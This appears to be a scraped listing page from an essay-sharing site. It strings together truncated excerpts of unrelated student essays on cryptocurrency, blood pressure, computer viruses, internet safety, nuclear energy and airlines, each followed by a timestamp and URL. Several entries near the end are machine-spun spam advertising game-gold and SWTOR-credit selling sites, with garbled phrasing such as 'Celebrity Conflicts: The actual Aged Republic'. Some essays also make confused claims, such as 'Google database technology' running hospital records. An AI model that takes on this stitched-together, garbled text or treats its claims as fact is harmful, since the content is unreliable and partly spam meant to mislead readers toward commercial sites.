https://www.echeat.com/ What is Cryptocurrency. Cryptocurrency is one popular word that has been widely used to refer to Bitcoin. Bitcoin is a cryptocurrency, but all cryptocurrencies are not Bitcoin. Currently there are about 10,000 different types of crypto currencies. Bitcoin and Ethereum are the most popular ones with the highest market capitalization. When searched for meaning of cryptocurrency online: A cryptocurrency is a digital or virtual currency that is secured by cryptography which makes it nearly impossible to counterfeit or double-spend. Many cryptocurrencies are decentralized networks based on blockchain technology—a distributed ledger enforced by a disparate network of computers. Cryptography is the science or art of protecting information by transforming it into a secure format. Example of basic cryptography is an encrypted message in which letters are replaced with other characters. Cryptocurrency is a form of payment that can be exchanged online for goods and services. Many companies have issued their own currencies, often called tokens, and these can be traded specifically for the good or service that the company provides. Cryptocurrencies work using a technology called Blockchain. Blockchain is a system of recording information in a way that makes it difficult or impossible to change, hack, or cheat the system. A blockchain is essentially a digital ledger of transactions that is duplicated and distributed across the entire network of computer systems on the blockchain. Each transaction in blockchain is independently verified by peer-to-peer computer networks, time-stamped and added to a growing chain of data. Once recorded, the data cannot be altered. How does cryptocurrency make money? By mining, you can earn cryptocurrency without having to put down money for it. Bitcoin miners receive Bitcoin as a reward for completing "blocks" of verified transactions, which are added to the blockchain. What is the main purpose of cryptocurrency? The main point of cryptocurrency is to fix the problems of traditional currencies by putting the power and responsibility in the currency holders' hands. All the cryptocurrencies adhere to the 5 properties and 3 functions of money. Characteristics/ Properties and functions of money? The characteristics of money are durability, portability, divisibility, uniformity, limited supply, and acceptability. The Money has taken many forms through the ages, but money consistently has three functions: store of value, unit of account, and medium of exchange. Is crypto currency safe? Investing in crypto assets is risky but also potentially extremely profitable. Cryptocurrency is a good investment if you want to gain direct exposure to the demand for digital currency, while a safer but potentially 2021-12-07T12:20:41.12-05:00 http://75.150.148.189/free-essay/Cryptocurrency-45528.aspx Pulse Rate and Blood Pressure Experiment Course Name of the student Name of student partners Date of submission Pulse and Blood Pressure Experiment INTRODUCTION Purpose The purpose of this experiment was to determine how diastolic and systolic arterial pressures as well as heart rate are affected by exercise, posture and cognitive stressor. The experiment also sought to find the difference between baseline measurements and the measurements taken under the conditions described above. In the experiment, pulse rate was found through location of radial artery while diastolic and systolic blood pressures were measured using a stethoscope and sphygmomameter. Background The human body can only function properly when its various systems are operating at optimum levels. One of the body systems that needs to be maintained at equilibrium is the supply of blood (mainly water, nutrients and oxygen) to all body parts. Regulation of blood pressure helps maintain such supply. Pressure is defined as force per unit area. Thus blood pressure is defined as the force per unit area that blood exerts on veins and arteries. The pressure is highest when blood leaves the left ventricle and lowest during ventricular filling. The blood pressure for a normal person is approximately 120/80 mmHg. The higher reading represents systolic blood pressure while the lower reading represents diastolic blood pressure (Shier et al., 2015). The average of systolic and diastolic pressure is mean arterial pressure (MAP) and is given as a product of cardiac output (CO) and vascular resistance (R). In the formula, cardiac output is the quantity of blood that is pumped per minute from each ventricle while resistance is the level of opposition that is encountered by the blood as it goes through the arteries and veins. Cardiac output is the product of stroke volume (SV) and heart rate (HR). Stroke volume is the quantity of blood that is pumped from the ventricles in a heartbeat. Pulse rate, on the other hand, is the number of heart beats per minute (Marieb & Hoehn, 2016). There are a number of inputs that regulate cardiovascular system. They include baroreceptors which regulate the system’s activities based on blood pressure and chemoreceptors which regulate based on oxygen, hydrogen ions and carbon dioxide changes. Hypotheses For healthy adults it is expected that reclining for 3 minutes increases blood pressure slightly. This is because as the abdominal organs press over the aorta they lead to increased blood flow resistance thus leading to an increase in blood pressure. While blood pressure 2017-11-03T02:10:25.013-04:00 http://75.150.148.189/free-essay/Pulse-Rate-and-Blood-Pressure-Experiment-45389.aspx Study on Multipartite Virus in Technical Field Report Submitted In Partial Fulfillment of the Requirements for the Award of the Degree Of BACHELOR OF TECHNOLOGY IN COMPUTERSCIENCE & ENGINEERING By ANSHUL SHARMA (Enrollment No. A60205215040) Under Guidance of MR. ASHOK KUMAR SHRIVASTAVA Assistant Professor Department of Computer Science and Engineering Amity School of Engineering & Technology Amity University, Madhya Pradesh October -2016 ACKNOWLEDGEMENT I am thankful to Mr. Ashok Kumar Shrivastava, Assistant Prof, ASET for his constant guidance and encouragement provided in this endeavour. I also thanks my parents for continues support, understanding and patience without whose support and understanding this endeavour would never been fruitful. I also thank all my friends for helping me out in completing this project and helping me in solving various problems encountered during the progress of this project. ANSHUL SHARMA (Enrollment No A60205215040) ABSTRACT Computer viruses cause various problems for all users who use computers. There are various classifications of different types of virus according to their work. Either they may be file infectors, boot infectors or various other infectors. There is one more type of virus named as “Multipartite virus” one among the most dangerous viruses. This virus consists of boot as well as file infectors. This virus is often tricky and tough to eliminate from the system. We need to remove it from both from infected files and from boot also so it becomes a tough task to achieve. So In this paper my goal is to explain how to identify the presence of multipartite virus, the strategies of its infection and the security measures to protect oneself from this virus. Table of Contents Chapter 1 Introduction 1.1 Introduction to Computer Viruses 1.2 Types 2017-03-07T09:31:34.85-05:00 http://75.150.148.189/free-essay/Term-paper-on-multipartite-virus-in-computer-45293.aspx Natural Rubber Latex Based Pressure Sensitive Adhesive’s , Based On A Patented Technology , Now Available Commercially For The First Time In India . Specially Developed Water Borne ( Solvent Free ) For Varies Kinds Of Adhesive Tapes And Adhesive Coated Products For Diversified End Applications. Latxsive PSA’s , are solvent free Natural Rubber and Tackifier Resin Emulsion Pressure Sensitive Adhesive. These Adhesives are compounded especially for coating on , A Variety of Substrate like Plastic Films, Paper, Metal Foil, Fabric’s, Foams etc. This adhesive exhibits , a very good balance of peel adhesion , holding power ( Shear Strength ) , Rolling Ball Tack , and good ageing resistance. The Viscosity of the Adhesive is precisely controlled , to enable or allow coating by Gravure plus Myer bar or Kiss coating plus Myer Bar or even Comma / Reverse Roller coating. The Wet ability of Latxsive PSA’s is preciously controlled and hence suitable for Transfer Coating on , Silicone Coated Films or Paper , by all the prevailing Coating methods like , Comma , Reverse Roller, Gravure , Kiss Coating , Myer Bar and even Floating Knife . Latxsive PSA’s , are based on the “go green” movement and environmentally friendly . These Adhesives are PVC free, lead free, phthalate free, and manufactured directly from the Rubber Estate in Kerala , India. Our PS Adhesives at a Glance Main Application Products 01 Latxive RP Repositionable 02 Latxsive HC Heat and Cold Insulation 03 Latxsive RUB Tire Cord 04 Latxsive SPL MSK Masking Tape 05 Latxsive SPL PET Polyester Electric Insulation 06 Latxsive SPT HT IN Surface Protection , High Tack for Indoor 07 Latxsive SPT HT OUT Surface Protection , High Tack for Outdoor 08 Latxsive SPT LT IN Surface Protection , Low Tack for Indoor 09 Latxsive SPT LT OUT Surface Protection , Low Tack for Indoor 10 Latxsive PKG Packaging Tapes 11 Latxsive 16 PVC Electrical Tape 12 Latxsive DS DS Tapes What’s so Special about these PSA’s ? Extremely user Friendly No VOC concerns No Fire Hazard No Health Hazard Now available locally , hence No Imports , No hassles Extremely easy to coat / handle on a simplest Coating machine like , ( Gravure / Myer type ) , used in BOPP Tape Manufacture Process able on a very Low cost Coating Plant. Cures or dries at 70 deg C , hence the lowest Heat Energy, 2017-02-19T08:00:04.017-05:00 http://75.150.148.189/free-essay/ECO-FRIENDLY-PRESSURE-SENSITIVE-ADHESIVES-45286.aspx Disc_4_5_6 Name Institution DISC_4_5_6 File 1 The scenario, in my opinion, was due to an issue with human engineering. Human Engineering coordinates the design of tools, machines, systems and physical working conditions with the capacities, limitations, and requirements of the worker (Gosbee, 2002). The goal of human engineering is to design tools and equipment for the practical use and handling by people. The design process focuses on the needs of the user and the characteristics (Gosbee, 2002). The design is changed repeatedly based on the feedback of the user from using the equipment. This ensures that the device meets the intended purpose and operates in a manner that is efficient. Early testing of the material guarantees the limitations of the system are established before the system is taken to the field. In the scenario, no one was certain under what grounds the monitor was placed in the demo mode. Assessing the manual and talking to the biomedical engineering team, it was possible that the transport monitor could remain ‘’D’’ mode forever. Recreating the steps to change the system from in and out demo mode was quite a challenge since the procedure was not clear. Additionally, following the steps on display was quite a challenge. Many clinicians were doing work rounds that day, so it is possible that the difficulty of establishing and treating unstable patients does not necessarily mean that the interpretation of medical equipment is involved. Without proper knowledge of the consequences, some managers were rewarding the health care providers who could interpret and master this compact device. To establish that this occurrence does not recur in the future, advancement of the design of the equipment should be put into consideration as opposed to providing training to health care practitioners or labeling the device. For instance, the programming of the transport monitor should be changed. Caution signs should also be put in place where only specific people are allowed to operate the equipment. File 2 IT project methodology Project management is exclusively based on the fact that a plan or scheme should go through various phases to take the project from beginning to the end. It is important to have variables in the course of a project, that way you will not deviate from the primary goal. Deliverables should be the primary concern in project elements and should involve a timeline based on description and significance. Avoiding the procedure of target definition to establish your project management 2016-11-11T00:26:43.007-05:00 http://75.150.148.189/free-essay/IT-Project-Methodology-35246.aspx WWW (World Wide Web) Nowadays there are over 635 million websites in the world but be warned some websites may give you viruses, come up with inappropriate things or just totally lie to you. These can be very annoying but there are some useful tips on how to avoid them: • Web address - Some web addresses don’t contain www. Most websites without www. usually give fake information or are not meant for publicity. So check before you go on the web page! • Do you trust your eyes - lots of websites contain adverts and pop ups, some of which claim some amazing thing but in the end are probably fake. To prevent this make sure you turn pop ups off and don’t click on dodgy advertisements. As the old saying goes ‘too good to be true!’ • Files - Some things on Google search may not always be a web page. E.g. [PDF] Good to Know - internet safety tips and advice from ... – AdviceGuide like this link it has [PDF], this means it is not actually a web page. So read the small print! Online Banking Online banking has been a popular thing since 1995. The thing is too many peoples’ accounts get hacked/ falsely used. Here are so some useful tips on how to keep your money: • Passwords - Make sure you have a different password for your bank account than your social network password and your email password. Pass and password are very popular passwords, they are easy to remember and they are quick, what’s not to like? The fact that they are too popular and too easy to guess. For choosing the best secure password make sure you include: Symbols, Numbers, make it CaSE SeNsITivETy and make sure it is easy to remember. Importantly make sure you keep your password secret. • Websites - Some websites may not actually be the really banking site. There are ways of getting around it though. For example, using an Abbey account, when you have typed in the details a specialised picture and sentence/ word comes up and if it matches the ones that you set you know that it is the correct website. Social networking Google plus, Facebook, Instagram, Twitter, Pinterests and LinkedIn are some of the best social networking sites in the world. Doesn’t mean they’re safe though. Here some useful tips on how to be safe: • Passwords – As said before, make sure you have 2016-02-08T12:04:14.807-05:00 http://75.150.148.189/free-essay/Staying-Safe-35171.aspx Nuclear Energy in France and Japan Since Albert Einstein found his most famous work: mass-energy equivalence (E=MC^2), nuclear energy is a highly controversial topic all the time. A nuclear plant is more environmentally friendly than a fossil fuel power plant. Moreover, the main resource, the uranium, supply will last for three-thousand years. Despite these advantages of nuclear plants, many people believe nuclear power plants are too risky because of nuclear radiation. I would like to analyze the nuclear plant through two countries: France and Japan. France is the most generous country concerning nuclear power. According to the World Nuclear Association (WNA), seventy-seven percent of total electricity produced by nuclear plants in 2014, which is the number one in the world. It seems like there was no barrier about the nuclear power in France. There are certain reasons that French trust the nuclear plant more than other power plants. Historically, France never experienced a serious nuclear accident like over level five on the International Nuclear and Radiological Event Scale (INES). This is the reason why France public confidence in nuclear power is higher than other countries. In addition, the first oil crisis in 1973 influenced the economy in France enormously because France did not have an indigenous energy sources. Hence, they increased a ratio of nuclear energy, and it has been successful so far. Economically, France is the world’s largest net exporter of electricity. In other words, France is providing their remaining electricity to nearby European countries such as Switzerland, Italy, and Belgium. According to the electricity report for 2014 from Réseau de transport d’électricité (RTE), a trade balance of electricity in 2014 is sixty-five terawatt-hours (TWh). Which means the electricity is a huge revenue for France. Unlike France, nuclear power in Japan is very controversial. Before Fukushima Daiichi accident, around thirty percent of total electricity produced by nuclear. According to the 2014 annual report from Nuclear Energy Agency (NEA), Japan has forty-eight operational reactors, which is the third in the world. However, Japan generates only 1.7 percent of the electricity by nuclear plants in 2014. In addition, the anti-nuclear movement has become more widespread. Historically, Japan has a ‘nuclear allergy’. Japan is the only country in the world to have suffered from atomic bombings, and there are many small and big accidents related by the nuclear energy – especially, radiation. Despite of the risk of radiation, Japan continued to focus on nuclear power because 2015-07-20T23:50:17.947-04:00 http://75.150.148.189/free-essay/Nuclear-Energy-in-France-and-Japan-35127.aspx Community South Medical Center Jacqueline Arnold HCA 340 Instructor: Lilia Chavarria May 4, 2015 COMMUNTIY SOUTH MEDICAL CENTER 1 In this paper, being the CEO of the Community South Medical Center, I feel like the strategic mission should be revised. The Community South Medical Center is located in an older urban area, with other businesses, and is growing to be a predominately elder population. The compliance of the T.J.C. standards has been declining. In the center, there are new programs that the staff is supporting, and the staff of physicians is in abundant supply. There is things like the clinic staff shortage, there is the non-interfacing information technology systems, antiquated facilities and infrastructure, that needs to be addressed, along with a shift to its financial mix. The careful assessment of the aging person’s perception of their health, and be educated of the safety factors affecting their health, this is a very important part of primary care. Handling the elder population needs to be addressed and the plans to meet the challenges would be a strategic plan. As the CEO of the Community South Medical Center, I would be confronting the shortage of clinical staff, which includes the register nurses, the medical technologies, and the respiratory therapists are one of the major issues that need to be covered. Through the SWOT analysis, the strengths of the Community South Medical Center is it has comprehensive health services, these are the acute care, residential care, independent living, in-home nursing, hospice, neonatal, plus pediatric services, the advanced cardiac services, there is a major trauma center, a great center for the pulmonary services, and a neurosurgery center (Instructor, 2012). Due to the shortages of the clinic, the expansion of jobs could be considered the strength. The next goal as the CEO, is to consider to advertise in newspapers, on television, and Professional journals, and private recruitment about the retainment of new talent, and to recruit and hire. By having new talent it would bring new ideas and innovations to the plate. This would be a positive external input for the medical center and the community. COMMUNITY SOUTH MEDICAL CENTER 2 As the CEO, I would implement the preliminary reviews and analysis of the candidates, based on their applications, and check their references, and their past employment history, and how the past employer thought about the candidate. With the candidate, I would use several factors 2015-05-27T00:18:20.11-04:00 http://75.150.148.189/free-essay/hospital-essay-35113.aspx (Assignment title). (Student’s Name) (Professor’s Name) (Course Title) (Date of Submission) Google database technology is such a familiar tool in the operations of HIM departments in hospitals. This technology is usually adequate to allow HIM professionals to work with vendors or information services staff. Database technology is moving from the task of supporting paper systems to actually becoming the central digitized health information system. The success of Google database technology depends on the skills of HIM professionals to entering the data to the database accordingly. Reports that more countries and states in the world such as the United States has are becoming nations of databases. Today, Google database technology is being used to track patient information. Many patients die in hospitals or at their homes due to errors that arise from medication errors and that’s why the healthcare institutions are adopting use of Google database technology to track everything from prescription medications and laboratory tests to patient outcomes. The reason for the shift to Google database technology is that most medical information is recorded on paper, a practice that has led to a great deal of record waste and data duplication which leads to inappropriate treatments. Hospitals are now creating a Google database structures that contains electronic medical records to track patient’s interaction with the medical staff from birth to death. To stay current in ever changing technology hospitals has adopted a strategic plan called electronic health information management, which ensures availability of health information to facilitate healthcare and critical related decision-making across all hospital departments. Healthcare will only run properly if healthcare information is stored accurately and securely in well-designed databases using Google database structures. The most common form of database used in hospitals is the relational database. Google relational databases keeps track of patient treatments, treatments outcomes and patient's current state, for example blood pressure and blood glucose levels. Google relational databases is also being used to interconnect with multiple hospital informational systems throughout a healthcare facility. For example, a Google relational database in a cardiac care unit can be directly linked to a hospital's registration system at the reception. Google relational databases have the potential to eliminate paperwork by storing information in the electronic systems such as servers and answer questions about patient health more rapidly. Needs for Google databases structures Implementation To ensure that the goals of Google databases structures in hospitals are met, a team of health information management professionals capable of designing, developing, and maintaining databases are needed. Organized healthcare information 2015-04-24T13:14:29.167-04:00 http://75.150.148.189/free-essay/GOODLE-DATA-STRUCTURES-35105.aspx Internet security How do you secure something that is changing faster than you can fix it? The Internet has had security problems since its earliest days as a pure research project. Today, after several years and orders of magnitude of growth, is still has security problems. It is being used for a purpose for which it was never intended: commerce. It is somewhat ironic that the early Internet was design as a prototype for a high-availability command and control network that could resist outages resulting from enemy actions, yet it cannot resist college undergraduates. The problem is that the attackers are on, and make up apart of, the network they are attacking. Designing a system that is capable of resisting attack from within, while still growing and evolving at a breakneck pace, is probably impossible. Deep infrastructure changes are needed, and once you have achieved a certain amount of size, the sheer inertia of the installed base may make it impossible to apply fixes. The challenges for the security industry are growing. With the electronic commerce spreading over the Internet, there are issues such as nonrepudiation to be solved. Financial institutions will have both technical concerns, such as the security of a credit card number or banking information, and legal concerns for holding individuals responsible for their actions such as their purchases or sales over the Internet. Issuance and management of encryption keys for millions of users will pose a new type of challenge. While some technologies have been developed, only an industry-wide effort and cooperation can minimize risks and ensure privacy for users, data confidentiality for the financial institutions, and nonrepudiation for electronic commerce. With the continuing growth in linking individuals and businesses over the Internet, some social issues are starting to surface. The society may take time in adapting to the new concept of transacting business over the Internet. Consumers may take time to trust the network and accept it as a substitute for transacting business in person. Another class of concerns relates to restricting access over the Internet. Preventing distribution of pornography and other objectionable material over the Internet has already been in the news. We can expect new social hurdles over time and hope the great benefits of the Internet will continue to override these hurdles through new technologies and legislations. The World Wide Web is the single largest, most ubiquitous source of information in the world, and it sprang up 2014-05-10T16:26:06.637-04:00 http://75.150.148.189/free-essay/internet-security-35030.aspx In the world we live in today,Technology is on the rise.every 2014-04-27T04:37:24.593-04:00 http://75.150.148.189/free-essay/THE-IMPACT-OF-VISUAL-MEDIA-ON-YOUNG-GENERATION-35021.aspx Introduction Title-Strategic Deployment of E-Marketing techniques for importing Bio Plastic from China to United Kingdom. 1.1 Abstract: The E-Marketing is being used globally in businesses and has become a necessary component of it. Although E-Marketing is not new in the UK but the Bio-plastic industry has not fully implemented it. E-Marketing strategies if combined with business strategy can help in building a sustainable competitive advantage in the market. The idea of making a web site is that it offers a convenient mode of shopping online and the customer gets to choose from a diverse range of products and services as opposed to the similar physical shopping experience. At the same time online retailers get to expose and sell their products to a global audience through their e-stores. The E-Marketing industry plays a vital role in its growth and development which is growing by leaps and bounds. The customer or user is usually provided with detailed information and description of the product which helps them in making a thoughtful choice before purchasing online. Online retailing, also known as e-tailing, makes it easy for the manufacturer to sell directly to the consumer without the middle man (Turban et al, 2006). E-Marketing provides sellers a mechanism to widen their market to sell the products with more profits by reducing expenses as it takes out the need of staff, physical store and catalogs to distribute. Bio-plastic is one of the best alternatives to replace plastic which is manufactured from crude oil. Bio-plastic is not harmful for environment and is made up of hump oil or soy bean which are renewable source of energy. It is expected that an efficient E-Marketing application would not only help the Bio-plastic business in generating more revenues, furthermore, it will automate many day to day offline activities as well. This would in turn help the suppliers efficiently manage their growing business. From my, study of master’s degree in Marketing, point of view this project would help me to gain some valuable experience which one cannot get in classroom study. In this proposal I have tried to look upon how an E-Marketing venture would be developed by understanding different links attached to it. This can enhance my technical knowledge. It will help to explore various aspects of an entire business process, the barriers (legal, financial), and the benefits of interstate trade. There will be interaction with industry people that will help me in getting more 2013-06-12T11:20:40.717-04:00 http://75.150.148.189/free-essay/STRETIGIC-DEPLOYMENT-OF-E-MARKETING-TECHNIQUES-FOR-IMPORTING-BIO-PLASTIC-FROM-CHINA-TO-UK-34896.aspx Discuss the advantages of being able to use a computer I. The century we are living in, is very well-known as computer’s. An almost familiar name to all of us. It seems to be just a simple word but when we have a closer look, actually, we do realize, it plays an enormous role in our daily lives. Computer is in an unavoidable 2013-04-25T14:23:38.21-04:00 http://75.150.148.189/free-essay/Discuss-the-advantages-of-being-able-to-use-a-computer-34866.aspx 2013-02-28T01:52:14.75-05:00 http://75.150.148.189/free-essay/linux-34820.aspx The Keyphrases, or “What has Google for you today” category explains a trifle about why certain posts have seen their overall numbers increase. That ‘field runners’ is the # 1 term, over both the name of the blog as well as the author is telling. That ‘darkfall account’ is so excellent for list shows us 1 of 2 things: either DarkFall is huge, or getting a forex account required plenty of Google work. Care to guess what type will be the real reason? Darkfall Unholy Wars is next, which consists of biggest issue being one which DFUW Gold for sale. Who have guessed that population will be a problem after you hard-code two sides to visit at it in an MMO… http://www.gamegoldfast.com/darkfall/buy-darkfall-gold.php That expansion adding a 3rd side can’t come suddenly Mythic! Field Runners building a second appearance on the list shows the amount of demand is obtainable for the game, and ways in which big a game title for the iPhone could get. It’s an excellent version of tower defense, and you aren't an iPhone should curently have it. Rounding the top ten are people hunting for a Wheel of your time MMO (yes please), and people who are curious what are the world outside of a themepark appears to be. Combine the last two and i also’m a happy camper. Also i found it interesting that this year’s #10 has a higher total than this past year’s #1 by a good margin, further reinforcing the truth that it’s a case of time before Google rules each one of mankind. Over and above the many numbers, the major events because last review are actually the making of a major surprise (buy DFUW Gold) along with the solid but somewhat flawed WAR still trying to find itself where it has to be. For DarkFall, the core of the game is exceedingly solid, and also the ideas behind the sport just work. It’s wonder that the niche title of its type has some rough edges that to get smoothed out, but despite all the flaws, the discharge on the NA-1 server is my most anticipated MMO event within the calendar. As for WAR, LotD might be a fun amount of content, but won’t ultimately fix the issue plaguing the action; the advantages of still another faction. Until that’s added, it’s difficult to really remain pumped up about WAR’s RvR, especially now when it’s in 2013-01-16T00:56:09.58-05:00 http://75.150.148.189/free-essay/What-has-Google-for-your-DFUW-Gold-today-34777.aspx It's a party invitation to buy Guild Wars 2 Gold at http://www.guildwars2gold.org/ if you stop and res a teammate. Being the diligent teammate many times , it becomes your responsibility after dying to instantly teleport towards the closest waypoint. Sometimes these waypoints are within reach, but at others it is deemed an insanely cross country. Actually I’d go so far as to convey that nearly all dungeon incorporates a notoriously years to come back from your waypoint somewhere, sometimes in multiple paths. Probably the renowned run amongst my regular guild will be the run back to the second encounter with Subject Alpha in Crucible of Eternity. Between the waypoint plus the location from the fight you’ve usually killed, according to the path, numerous bosses, elites, and champions not to mention the battle of completing a laser grid puzzle to unlock the waypoint in the first place. I’m uncertain how long you will need to operate here we are at the SA fight but it is quite a distance. And also on some level that is fine. Challenging is an excellent thing and also a penalty for failing is usually a method to make the fight matter. But there a number of things which come to mind that will make the penalty much more now bitter. For starters you've little possiblity to rally. You can find tendrils from the fight you can kill to have up, however are not really a guarentee of success. I could’t be the only one that has damaged something while downed only to not rally if it's defeated. Nor would you always be in a location with this particularly small room so that you can hit one of several tendrils. One might make use of a teammate to res you if this weren’t impossible 80% of times. A combination on the difficulty of successfully ressing someone with the Guild Wars 2 Gold sale that you might die at the same time means hesitation, deficit of confidence, fewer people using the chance. There are the crystals. Some professions can deal better with these than others, also it takes quite some effort to free teammates before they're targeted by the Aoe. Let alone being encased in a single results in certain death. So if you get crystalled you will definately get downed, if you achieve downed you will die. No rally, no res. Hence the bitterness of what feels as though a 2012-12-21T22:36:15.82-05:00 http://75.150.148.189/free-essay/In-Guild-Wars-2-dungeons-i-34766.aspx “The 21st Century” Welcome to the 21st Century, where technology lets you sit down and relax and vaporize the stress and bad thoughts to another world. Today we can't imagine ourselves without the blessings of technology that can help us make our daily lives more enjoyable, less stressful and less painful. It has revolutionised our ways of living, for example, it has helped save the lives of millions of people who had diseases, it has made the running a business more manageable and has helped make our dreams come true. Although some people believe that it has caused more problems than solutions but by my perspective it has given more benefits. By far, technology is the major driver of economic growth, which has increased by the inventions of the radio, the computer and the car. These +++++++developments thanks to technology have created entire new ways of living. Many people have cursed technology because they have stolen jobs due to the invention of robots and machines but in my point of view technology has increased the amount of jobs available. “Just imagine,you lost your job at a factory where machines have replaced you, where would you go for a job now, well you could choose jobs which technology has made possible such as becoming a software designer, a TV actor, a astronaut, a businessman marketing or designing electronic devices or you could become a mechanic. Etc.” Communication has dramatically made it easier to get in touch with any person in any part of the world in just a blink of a eye. You can send photos, videos and important files to your friends and family through email. Businessmen can attend meetings with other businessmen by using video conferencing via the internet. Another field in which technology has become superior is in medical treatment. It has significantly improved the rate at which you can now receive faster diagnoses for many diseases(usually less than three days)than it used to be in the past in which you had to wait for a maximum of 3 weeks or more. Medical advances such as x-rays, heart rate monitors, Gamma knifes, Heart pacemaker,etc. have helped to detect the culprit earlier and help monitor the patient's status. In the past, people used to just lock their doors and just hoped that nothing bad would happen and that was because there wasn’t anything much to offer 2012-11-18T07:58:49.68-05:00 http://75.150.148.189/free-essay/The-21st-century-34744.aspx Indian formerly Indian Airlines was a major Indian airline based in Delhi and focused primarily on domestic routes, along with several international services to neighbouring countries in Asia. It was state-owned, and was administered by the Ministry of Civil Aviation. It was one of the two flag carriers of India, the other being Air India. The airline officially merged into Air India on 27 February 2011. On 7 December 2005, the airline was rebranded as Indian for advertising purposes as a part of a program to revamp its image in preparation for an initial public offering (IPO).[1] The airline operated closely with Air India, India's national carrier. Alliance Air, a fully owned subsidiary of Indian, was renamed Air India Regional.[2] In 2007, the Government of India announced that Indian would be merged into Air India. As part of the merger process, a new company called the National Aviation Company of India Limited (now called Air India Limited) was established, into which both Air India (along with Air India Express) and Indian (along with Alliance Air) would be merged. Once the merger was completed, the airline - called Air India - would continue to be headquartered in Mumbai and would have a fleet of over 130 aircraft. History The airline was set up under the Air Corporations Act, 1953 with an initial capital of 32 million and started operations on 1 August 1953. It was established after legislation came into force to nationalise the entire airline industry in India. Two new national airlines were to be formed along the same lines as happened in the United Kingdom with British Overseas Airways Corporation (BOAC) and British European Airways (BEA). Air India took over international routes and Indian Airlines Corporation (IAC) took over the domestic and regional routes. Seven former freedom domestic airlines, Deccan Airways, Airways India, Bharat Airways, Himalayan Aviation, Kalinga Airlines, Indian National Airways and Air Services of India, were merged to form the new domestic national carrier. Indian Airlines Corporation inherited a fleet of 99 aircraft including 74 Douglas DC-3 Dakotas, 12 Vickers Vikings, 3 Douglas DC-4s and various smaller types from the seven airlines that made it up. Vickers Viscounts were introduced in 1957 with Fokker F27 Friendships being delivered from 1961. The 1960s also saw Hawker Siddeley HS 748s, manufactured in India by Hindustan Aeronautics Limited, join the fleet. The jet age began for IAC with the introduction of the pure-jet Sud Aviation Caravelle 2012-10-13T22:57:11.173-04:00 http://75.150.148.189/free-essay/Airways-34681.aspx If you are wondering exactly what the actual SWTOR heritage program is actually, after that you have are supplied for that correct location swtor credit. Celebrity Conflicts: The actual Aged Republic had been meant to become totally new MMORPG encounter and also the SWTOR heritage program offers assisted gamers increase their own style choice as well as create a good military associated with controlled models. Essentially, the actual SWTOR heritage program benefits gamers that produce several figures, really associated with carry out along with only one personality purchase swtor credit. people with several animation figures is actually going to turn out to be capable of obtain heritage quantities for their figures, whilst nevertheless progressing upward their own main personality swtor credit. The actual heritage encounter that you simply may obtain is actually going to turn out to be situated below encounter club since the crimson heritage club. Because you will understand, correct following finishing a training course mission, you might allowed to select the outstanding surname that is going to turn out to be linked for that style as well as any kind of style that you simply physique away to produce upon which server swtor credit. Should you begin moving away brand new figures, they will fall under this particular family members sapling which SWTOR had been meant upon, or even also called, the actual Heritage sapling swtor credit. You are able to usually allocate your own additional animation figures because son's, kids, siblings, siblings or even buddies of the main personality. You may also select a style of the totally numerous competition for that primary style plus it might be designated for that heritage sapling. These people each alter away being your own buddy, someone or even a good used brother or even family member aion kinah. Heritage encounter is actually acquired within the very same method normal encounter elements is actually acquired, knowning that is actually through approach to battles. much more heritage animation figures may enhance the heritage encounter acquired, thinking about regarding in the event that any kind of amongst your own animation figures increases encounter, then your rest obtain a few encounter too. Fights aren't in order to to achieve heritage encounter, thinking about regarding you are able to achieve this particular by means of methods as well as Flashpoints too. Gathering very numerous heritage elements makes it possible for that you could uncover brand new functions 2012-09-04T01:07:22.307-04:00 http://75.150.148.189/free-essay/SWTOR-Heritage-program-precisely-what-could-it-be-and-also-the-Benefits-34644.aspx As much regarding an individual video game lovers realize the particular SWTOR launch will be gradually getting close to as well as the excitement across the video game will be improving with all the expectancy. This kind of video game will be reported to be one of the primary MMOG game titles being introduced currently which usually results in the particular issue do you want because of it? What exactly is SWTOR? For anybody in which don't find out about the sport but SWTOR (Star Battles The particular Outdated Republic) can be an MMOG video game which can be released prior to Holiday (20. 12. 2011) so when each superstar battles and also MMOG lover can inform you this kind of video game will likely be emotional! There are numerous characteristics which can be around the sport which can be getting many individuals (even those who arent in to the complete on the web gaming). When youre questioning what size this kind of video game launch will likely be next consider Warcraft, a massive MMOG video game which can be at present together with the particular throne together with merely above 10 thousand clients above many years. SWTOR is at the particular pre-launch period and contains enticed above a couple of. some thousand clients previously and also this doesnt contain those that can pre-order around the approaching nights for the launch and the ones that may acquire waiting for you right after at the same time. With all the details offered previously mentioned it really is expected the start with this video game should be able to bump straight down warcraft of these throne in mere any make a difference of energy! Pick The Part The sport lets you pick whether or not to be able to combat for your republic (defend the particular republic) or perhaps with all the Sith Empire (destroy the particular republic). Not merely is it possible to pick those two factors nevertheless, you can easily select the pursuing heroes... Jedi dark night (republic) Smuggler (republic) Trooper (republic) Sith knight (empire) Imperial realtor (empire) Resources rogue (empire) Each one of these lessons are already enjoyed about together with to offer the most effective enjoying knowledge irrespective of which you decide on (even even though Jedi knights in battle and also Sith knight will probably be the most notable classes). It really is your responsibility to choose which usually school you would like to enjoy regarding and also just what part 2012-08-30T02:19:50.71-04:00 http://75.150.148.189/free-essay/SWTOR-Launch-Techniques-Do-you-want-34637.aspx Final Fantasy Tactics A2: GW 2 Of The GW 2 is the sequel to "FF Tactics Advance" and in addition to various other parts of the Final Fantasy series, a part of the Ivalice Alliance. Ivalice is the name of the parallel world in which the characters are drawn and in which they must pass a series of missions. The focus of the game is the 2012-08-30T01:23:28.477-04:00 http://75.150.148.189/free-essay/Magic-Book-Gran-GW-2-34636.aspx Around fall, Movie star Battles A Good old Republic might be accessible for absolutely free. Nonetheless can a person grow a strong MMOG story unit to the free-to-play which includes a search? Shaun Hickman presents quite a few attainable the answers. http://www.swtorcredits.com/ http://www.swtorcredits.org/ While in the autumn, Movie star Battles A Good old Republic is going to reject it has the per month reoccuring exclusively use your freemium unit: the usual recreation might be accessible for absolutely free, what's left by using a online website, a reoccuring method likely to have fun with the 100 % (or just about? ) subject material of your recreation at this point, for your MMOG pretty scripted, a conversion to the absolutely free type of providing subject material component will not be not important. Therefore, it is occupied with a circulation with absolutely free subject material plus given subject material plus, while in the content with SWTOR Everyday living, Shaun Hickman (executive designer innovative Movie star Battles: A Good old Republic MMORPG game enthusiasts that happen to be well known out of Dimly lit Time with Camelot plus Warhammer internet ) presents quite a few attainable the answers. "I assume and also the of your conversion is definitely simple and easy to clarify, is usually may be more and more difficult so that you can use. To bear in mind whatever we likely: anything you have for nothing, is definitely track record. Most people thought considerably... many months with in depth experiments to the standards presented by 